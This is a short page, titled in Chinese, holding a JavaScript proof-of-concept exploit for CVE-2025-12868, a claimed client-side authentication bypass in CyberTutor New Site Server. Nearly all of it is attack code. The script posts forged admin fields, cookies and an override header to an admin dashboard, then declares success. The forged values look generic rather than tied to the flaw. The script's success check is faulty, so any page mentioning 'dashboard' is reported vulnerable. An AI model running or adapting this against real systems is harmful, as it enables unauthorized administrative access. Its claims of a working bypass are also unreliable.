CVE-2025-12868 CyberTutor New Site Server 客户端认证绕过漏洞

// CVE-2025-12868 PoC - Client-Side Authentication Bypass // Target: CyberTutor New Site Server // Author: Security Researcher const axios = require('axios'); async function exploit(targetUrl) { console.log('[+] Starting CVE-2025-12868 Exploitation'); console.log('[+] Target:', targetUrl); try { // Step 1: Normal access to the target console.log('\n[*] Step 1: Sending initial request...'); const initialResponse = await axios.get(targetUrl, { headers: { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } }); // Step 2: Modify client-side authentication parameters console.log('[*] Step 2: Bypassing client-side authentication...'); const bypassPayload = { 'is_admin': 'true', 'auth_level': 'admin', 'user_role': 'administrator', 'session_valid': '1' }; // Step 3: Send request with modified authentication console.log('[*] Step 3: Sending privileged request...'); const exploitResponse = await axios.post( `${targetUrl}/admin/dashboard`, bypassPayload, { headers: { 'X-Admin-Override': 'true', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'admin_access=true; auth_bypass=1' } } ); // Step 4: Verify admin access if (exploitResponse.status === 200 && exploitResponse.data.includes('admin') || exploitResponse.data.includes('dashboard')) { console.log('\n[!] VULNERABLE: Admin access gained!'); console.log('[+] Response:', exploitResponse.data.substring(0, 200)); return true; } else { console.log('\n[-] Not vulnerable or access denied'); return false; } } catch (error) { console.error('[-] Error during exploitation:', error.message); return false; } } // Execute exploit const target = process.argv[2] || 'http://target-server.com'; exploit(target); // Note: This PoC demonstrates the authentication bypass concept. // Modify parameters based on actual target behavior. // Use responsibly and only on authorized systems.